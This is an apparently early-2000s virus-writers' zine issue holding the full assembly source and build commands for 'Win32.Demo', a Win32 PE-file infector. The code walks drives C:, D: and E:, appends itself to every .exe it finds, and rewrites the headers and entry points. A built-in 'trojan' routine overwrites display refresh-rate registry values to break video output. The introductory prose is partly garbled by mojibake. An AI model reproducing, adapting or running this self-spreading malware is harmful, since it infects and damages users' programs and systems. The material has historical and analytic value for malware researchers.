浜様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 紺栩栩桍異栩栩欅旭旭桍旭旭異栩栩栩桍旭異栩栩毟栩栩栩栩桍旭旭異欅旭旭栩栩栩栩朧 紺異栩欅旭栩桍旭旭異栩欅旭旭栩欅異栩桍旭栩桍異桍異桍異桍旭旭栩桍旭旭桍異桍異朧 紺異桍旭旭栩欅旭旭異栩欅旭旭栩欅旭異桍旭異桍異欅異桍旭桍旭旭栩桍旭旭欅異桍旭朧 紺異桍旭旭栩欅旭旭栩栩桍旭旭栩欅旭異桍旭異桍旭旭異桍旭旭旭異栩栩欅旭旭異桍旭旭 紺異栩栩栩栩欅旭異桍異桍旭旭栩栩栩栩桍旭異桍旭旭異桍旭旭旭栩欅栩欅旭旭異桍旭旭 紺異桍旭旭栩欅旭異栩栩栩欅旭栩欅旭異栩欅異桍旭旭異桍旭旭旭栩栩栩桍旭旭異桍旭旭 紺異桍旭旭栩欅旭栩欅旭栩桍旭栩欅旭旭栩欅異桍旭旭異桍旭旭異桍旭異栩欅旭異桍旭旭 紺異桍旭旭栩欅異桍旭旭異桍旭栩欅旭異栩欅異桍旭旭異桍旭旭栩欅旭旭栩欅旭異桍旭旭 紺栩栩桍異栩桍栩栩欅旭栩栩毟栩栩栩栩欅異栩栩欅旭栩栩欅異栩桍旭異栩桍旭栩栩桍旭 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 紺旭旭旭旭旭旭旭旭旭旭旭旭旭 issue#2 apr.2002 旭旭旭旭旭旭旭旭旭旭旭旭旭旭虻 紺旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭旭 藩様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様様 --< This program must be run under Win32. PE-infector.>-- 敖陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 牀ゃ : Win32.Demo [ ぅ皀皋珮モ瘴 Win32.Evyl.b ] щ 痳き┴: Turbo Assembler 5.0 : 24.04.1999 ≒ : SMT/SMF 青陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 矣讚覃 ! , 艪 Ν ラ 瓷碎. 珮 ├ . む ィ ├ 絖ィ , ≡ 甄謌 飫? -皰 ラ 祠ヮ 碎 ※珮瘠 か . 珥覃 ┃筌皰, `モ ぎ〓讚 °痰牀, き 痺 ィ ョ. 踸 甎謔閻 轤 ※珮 甎珥┼ 絎牀荐 牀. 牀腑, 絎牀荐 ※ か 腮鉗. ┼珮モ瘴 : tasm32 /iC:\make\lib /ml /z v32 tlink32 /Tpe /aa /c /x v32,,, import32.lib メ キ ┼牀碎 ィ - 皰 竅皋皀 皰覃 ュ-茘腑 璢│. =======< cut here >======= ; ================================ VIR32 ====================================== ; Program : Win32.Demo virus ; Description : virus for PE-files (.exe) ; Last modified : 24.Apr.1999 ; Purpose : import implementation under win32 ; Target OS : Win95/98/NT ; Notes : ; TODO : Test for already infected .386 .model flat,stdcall include win.inc virRVA = 2000h ; if compiled with TASM 5.0 - for first virus starting virVA = 400000h ; if compiled with TASM 5.0 - required for correctly ; starting fisrt host program only .data ; virus code will be modified org 0 ; hmmm... i couldn't remember, why have i typed this? ; maybe there were some reasons (?) start: nop ; do you know, why my win32 asm progs start with NOP ? ; ========= set edi=program_image_Virtual_Address, ebp=virus_offset_RVA ======= call $+5 N1: pop ebp mov edi,ebp sub ebp,offset N1 sub edi,LARGE virRVA oldRVA equ $-4 ; an RVA of new PE section will be stored there sub edi,N1-start ; so we'll get VA of loaded program, ; usually it is 400000h, but not everywhere... mov dword ptr [ebp+ourebp],ebp ; ======= making own import ============= lea ebx,[ebp+ImpAdr] lea esi,[ebp+Import-1] im1: inc esi cmp byte ptr [esi],0 jz short MyImpDone call [ebp+_LoadLibraryA],esi im2: inc esi cmp byte ptr [esi],0 jnz short im2 inc esi cmp byte ptr [esi],0 jz short im1 push eax call [ebp+_GetProcAddress],eax,esi mov [ebx],eax pop eax add ebx,4 jmp short im2 MyImpDone: ; ========= making import for program =============== mov esi,LARGE 0 ; 4 bytes must be reserved there! oldIMP equ $-4 ; program import directory (RVA) test esi,esi ; it is very strange, if program have no import, jz short ExtImpDone ; but we'll check it too... imploop:mov eax,[edi+esi+0ch] test eax,eax jz short ExtImpDone add eax,edi mov ebx,[eax] ; loading page from virtual memory, ; LoadLibrary fails, if page not present call [ebp+_LoadLibraryA],eax ; test eax,eax ; jz short imperror mov ebx,[edi+esi] mov ecx,[edi+esi+10h] add esi,14h test ebx,ebx ; second type of export! read article! jnz short lookupok mov ebx,ecx lookupok: mov edx,[edi+ebx] add ebx,4 test edx,edx jz short imploop test edx,80000000h jz short impname ; make import by name movzx edx,dx jmp short import1 ; make import by ordinal impname:lea edx,[edi+edx+2] import1:push eax ecx call [ebp+_GetProcAddress],eax,edx pop ecx ; test eax,eax ; jz short imperror mov [edi+ecx],eax pop eax add ecx,4 jmp short lookupok ;imperror: ; lea ecx,[ebp+ERROR1] ; lea eax,[ebp+ERROR2] ; call [ebp+_MessageBoxA],0,ecx,eax,0 ; jmp [ebp+_ExitProcess] ExtImpDone: ; ========= Starting virus thread =============== lea eax,[ebp+ThreadProc] lea ebx,[ebp+len1] ; thread ID will be lost call [ebp+_CreateThread],0,1024,eax,0,0,ebx lea eax,[edi+host-virVA] ; restore old entry oldENT equ $-4 ; entrypoint RVA of host program jmp eax ; return to host ThreadProc: mov ebp,12345678h ourebp equ $-4 mov eax,'\:D' ; scan disk D: call DiskScan mov eax,'\:E' ; scan disk E: call DiskScan mov eax,'\:C' ; scan disk C: call DiskScan call CheckTime jmp [ebp+_ExitThread] ; ==== It is a recursive function for scanning directory tree ==== DiskScan: mov dword ptr [CurName],eax Search: lea ebx,[ebp+CurName] mov edi,ebx ss1: inc edi test byte ptr [edi],0ffh jnz short ss1 mov dword ptr [edi],'*.*' ; strcat(path,"*.*\0"); lea eax,[ebp+FindData] call [ebp+_FindFirstFileA],ebx,eax mov esi,eax inc eax jz return ssagain: ; some delay for scanning, sti/hlt can't be used :( on NT mov ebx,06666h sdelay: mul [bignum] dec ebx jnz short sdelay lea ebx,[ebp+cFileName] push edi esi cmp byte ptr [ebx],'.' jz next ; skip "." and ".." directories copy1: mov al,byte ptr [ebx] inc ebx mov byte ptr [edi],al inc edi test al,al jnz short copy1 test byte ptr [ebp+FindData],10h ; check directory flag jz short file ; ========= HANDLING DIRECTORY ============ mov word ptr [edi-1],'\' call Search jmp next ; ============= HANDLING FILE ============= file: mov eax,[edi-5] or eax,20202000h ; convert extension to lower case cmp eax,'exe.' ; infect only .exe files jnz next ; ================= FILE INFECTION ROUTINE =================== lea eax,[ebp+CurName] call [ebp+_CreateFileA],eax,GENERIC_READ or GENERIC_WRITE,0,0,OPEN_EXISTING,0,0 mov [ebp+handle],eax inc eax jz error dec eax lea edx,[bufHDR+ebp] lea ecx,[len1+ebp] ; read MZ-header call [ebp+_ReadFile],eax,edx,40h,ecx,0 cmp word ptr [ebp+bufHDR], 'ZM' ; MZ jnz error cmp [ebp+bufHDR+18h],40h jb error mov edx,dword ptr [ebp+bufHDR+3ch] ; start of PE header in file mov [ebp+filePE],edx call [ebp+_SetFilePointer],[ebp+handle],edx,0,FILE_BEGIN lea ecx,[len1+ebp] lea edx,[bufHDR+ebp] ; read PE-header call [ebp+_ReadFile],[ebp+handle],edx,100h,ecx, 0 cmp dword ptr [ebp+bufHDR],'EP' ; PE jnz error lea ebx,[ebp+bufHDR+8] mov al,53h cmp [ebx],al jz error ; already infected mov [ebx],al ; set infection flag mov dword ptr [ebp+bufHDR+58h],0 ; zero checksum ; store old RVAs mov eax,dword ptr [ebp+bufHDR+28h] mov ebx,dword ptr [ebp+bufHDR+50h] ; image size mov dword ptr [ebp+oldRVA],ebx ; store rva of new object mov dword ptr [ebp+oldENT],eax ; store entry_RVA mov eax,dword ptr [ebp+bufHDR+80h] mov dword ptr [ebp+oldIMP],eax ; calculate RVA of new object mov dword ptr [ebp+oneobj+0ch],ebx ; RVA of new object mov dword ptr [ebp+bufHDR+28h],ebx ; new entry lea eax,[ebx+Newimpdir-start] mov dword ptr [ebp+bufHDR+80h],eax ; new imports ; make import directory lea eax,[ebx+a1-start] mov [ebp+lpA1],eax lea eax,[ebx+_LoadLibraryA-start] mov [ebp+lp_GMH],eax mov [ebp+lpGMH],eax xor eax,eax mov [ebp+lpGMH+4],eax dec eax mov [ebp+lpGMH+8],eax lea eax,[ebx+a3-start] mov [ebp+_LoadLibraryA],eax lea eax,[ebx+a4-start] mov [ebp+_GetProcAddress],eax ; Write section to file call [ebp+_SetFilePointer],[ebp+handle],0,0,FILE_END call FileAlign mov dword ptr [ebp+oneobj+14h],eax ; set file pointer to end of file + file_align call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN mov eax,virend-start mov ebx,eax call FileAlign mov dword ptr [ebp+oneobj+10h],eax xchg eax,ebx ; now ebx = FileAligned length, eax = length call ObjectAlign mov dword ptr [ebp+oneobj+8h],eax add dword ptr [ebp+bufHDR+50h],eax ; update image size lea edx,[ebp+start] ; write new section to the end of file ; there is no need to align section - if section is smaller, ; then only part before EOF will be loaded lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,ebx,ecx,0 inc word ptr [ebp+bufHDR+6] ; inc number of objects ; write updated PE-header call [ebp+_SetFilePointer],[ebp+handle],[ebp+filePE],0,FILE_BEGIN lea edx,[ebp+bufHDR] lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,100h,ecx,0 ; find place for last object movzx eax,[ebp+bufHDR+14h] add eax,[ebp+filePE] add eax,18h-28h ; -28 => to perfom loop with add eax,28 in it's start ; now eax = offset of first object record movzx ecx,word ptr [ebp+bufHDR+6] lea edi,[ebp+objbuf] lea esi,[ebp+len1] ; we'll clear write protection from all sections of file (see article) unprot: jecxz unpdone push ecx add eax,28h push eax call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN call [ebp+_ReadFile],[ebp+handle],edi,28h,esi,0 pop eax or dword ptr [edi+24h],0c0000000h ; set READ and WRITE flags push eax call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN call [ebp+_WriteFile],[ebp+handle],edi,28h,esi,0 pop eax ecx loop unprot unpdone: ; Write new object record to sections table call [ebp+_SetFilePointer],[ebp+handle],eax,0,FILE_BEGIN lea edx,[ebp+oneobj] lea ecx,[ebp+len1] call [ebp+_WriteFile],[ebp+handle],edx,28h,ecx,0 error: call [ebp+_CloseHandle],[ebp+handle] ; ===================== END OF FILE INFECTOR ================== next: pop esi edi lea eax,[ebp+FindData] call [ebp+_FindNextFileA],esi,eax test eax,eax jnz ssagain return: mov byte ptr [edi],al ; eax==0 call [ebp+_CloseHandle],esi retptr: ret ; ==== Align address to file align ================ ; in: eax=address; out: eax=new address FileAlign: mov ecx,dword ptr [ebp+bufHDR+3ch] jmp short Align1 ObjectAlign: mov ecx,dword ptr [ebp+bufHDR+38h] Align1: dec eax xor edx,edx div ecx inc eax mul ecx ret ; ========================== TROJAN COMPONENT ======================= CheckTime: ; actually, i don't want to check time, i want to kill video now! lea edi,[ebp+buf] mov byte ptr [edi],'0' regscan: ; loop to enumerate all video devices lea esi,[ebp+modes] mov dword ptr [esi],'\61' ; 16-bit modes mov cl,3 call scan1 mov dword ptr [esi],'\23' ; 32-bit modes mov cl,3 call scan1 mov word ptr [esi],'\8' ; 8-bit modes mov cl,2 call scan1 mov dword ptr [esi],'\42' ; 24-bit mov cl,3 call scan1 mov dword ptr [esi],'\46' ; 64-bit - maybe they appared in future :) mov cl,3 call scan1 inc byte ptr [edi] cmp byte ptr [edi],'9' jnz short regscan ret scan1: movzx ecx,cl push esi add esi,ecx mov dword ptr [esi],',046' mov dword ptr [esi+4],'084' ; <- 640x480 call Trash mov dword ptr [esi],',008' mov dword ptr [esi+4],'006' ; <- 800x600 call Trash mov dword ptr [esi],'4201' mov dword ptr [esi+4],'867,' ; <- 1024x768 mov byte ptr [esi+8],0 call Trash mov dword ptr [esi],'2511' mov dword ptr [esi+4],'468,' ; <- 1152x864 mov byte ptr [esi+8],0 call Trash mov dword ptr [esi],'0821' mov dword ptr [esi+4],'201,' ; <- 1280x1024 mov word ptr [esi+8],'4' call Trash mov dword ptr [esi],'0061' mov dword ptr [esi+4],'021,' ; <- 1600x1200 mov word ptr [esi+8],'0' call Trash pop esi ret Trash: ; change registry key lea eax,[ebp+displ] lea edx,[ebp+dispkey] call [ebp+_RegOpenKeyExA],HKEY_LOCAL_MACHINE,eax,0,KEY_ALL_ACCESS,edx test eax,eax jnz short retp1 ; smash 'default' value lea eax,[ebp+Hz] call [ebp+_RegSetValueExA],[ebp+dispkey],0,0,REG_SZ,eax,endHz-Hz ; smash 'RefreshRate' value lea eax,[ebp+Hz] lea edx,[ebp+Rate] call [ebp+_RegSetValueExA],[ebp+dispkey],edx,0,REG_SZ,eax,endHz-Hz retp1: ret ; better prev. call replace to jump, but i don't want to ; push parameters by myself Hz db '160',0 endHz label Rate db 'RefreshRate',0 displ db 'System\CurrentControlSet\Services\Class\Display\000' buf db '0\MODES\' modes db 10 dup (0) ;------------------------------------------ Video trasher end --------------- ; ===================== DATA SECTION ============================= ; ---------- import table for program -------------- Import db 'KERNEL32.dll',0 db 'SetFilePointer',0 db 'CreateFileA',0 db 'ReadFile',0 db 'WriteFile',0 db 'FindFirstFileA',0 db 'FindNextFileA',0 db 'CloseHandle',0 db 'CreateThread',0 db 'ExitThread',0 db 'ExitProcess',0,0 db 'USER32.dll',0 db 'MessageBoxA',0,0 db 'ADVAPI32.dll',0 db 'RegOpenKeyExA',0 db 'RegSetValueExA',0,0 db 0 ImpAdr: ; KERNEL32 _SetFilePointer dd 0 _CreateFileA dd 0 _ReadFile dd 0 _WriteFile dd 0 _FindFirstFileA dd 0 _FindNextFileA dd 0 _CloseHandle dd 0 _CreateThread dd 0 _ExitThread dd 0 _ExitProcess dd 0 ; USER32 _MessageBoxA dd 0 ; ADVAPI32 _RegOpenKeyExA dd 0 _RegSetValueExA dd 0 ; -------- import table for OS loader --------------- @dwordalign start,0 Newimpdir: extrn LoadLibraryA:PROC extrn GetProcAddress:PROC lpGMH dd offset _LoadLibraryA,0,-1 lpA1 dd offset a1 lp_GMH dd offset _LoadLibraryA,14h dup(0) a1 db 'KERNEL32.dll',0,0 _LoadLibraryA dd offset LoadLibraryA ; offset a3 _GetProcAddress dd offset GetProcAddress,0 ; offset a4,0 ; aligning... @wordalign start,0 a3 db 1,0,'LoadLibraryA',0 @wordalign start,0 a4 db 2,0,'GetProcAddress',0,0 ; ================ END OF IMPORT SECTION ============== bignum dd 7fffffffh ;ERROR1 db 'Can''t perform import',0 ;ERROR2 db 'SMT''s PE-sticker',0 len1 dd ? ; number of actually read/written bytes in IO operations dispkey equ len1 handle dd 0 ; handle of opened file filePE dd 0 ; position of PE header in file ; --------------------------- New PE-object oneobj db '.vir32**' dd 7 dup (0),0E0000020h ; buffer for one object and flags ; --------------------------- bufHDR db 100h dup (0) ; for MZ/PE header objbuf db 28h dup(0) buffer label ; 128-byte LZ-buffer in same place with search record FindData label ; search record dwFileAttributes dd ? ftCreationTime dq ? ftLastAccessTime dq ? ftLastWriteTime dq ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db MAX_PATH dup (?) cAlternateFileName db 14 dup (?) ; end of search record ; Starting directory: ;CurName db 'c:\temp\test\' CurName db '!', 512 dup (0) virend label ; end of virus code ; =================== HOST CODE SECTION =================================== .code ; section only for stupid TASM db 'this line will be only in installer(dropper)',0 hostmsg db 'Another product ran away from SMF team ;)',0 title_ db 'Host started... Background thread scans directories now',0 extrn MessageBoxA:PROC extrn ExitProcess:PROC host: call MessageBoxA,0,offset hostmsg,offset title_,0 jmp ExitProcess end start =======< cut here >======= --< ... >--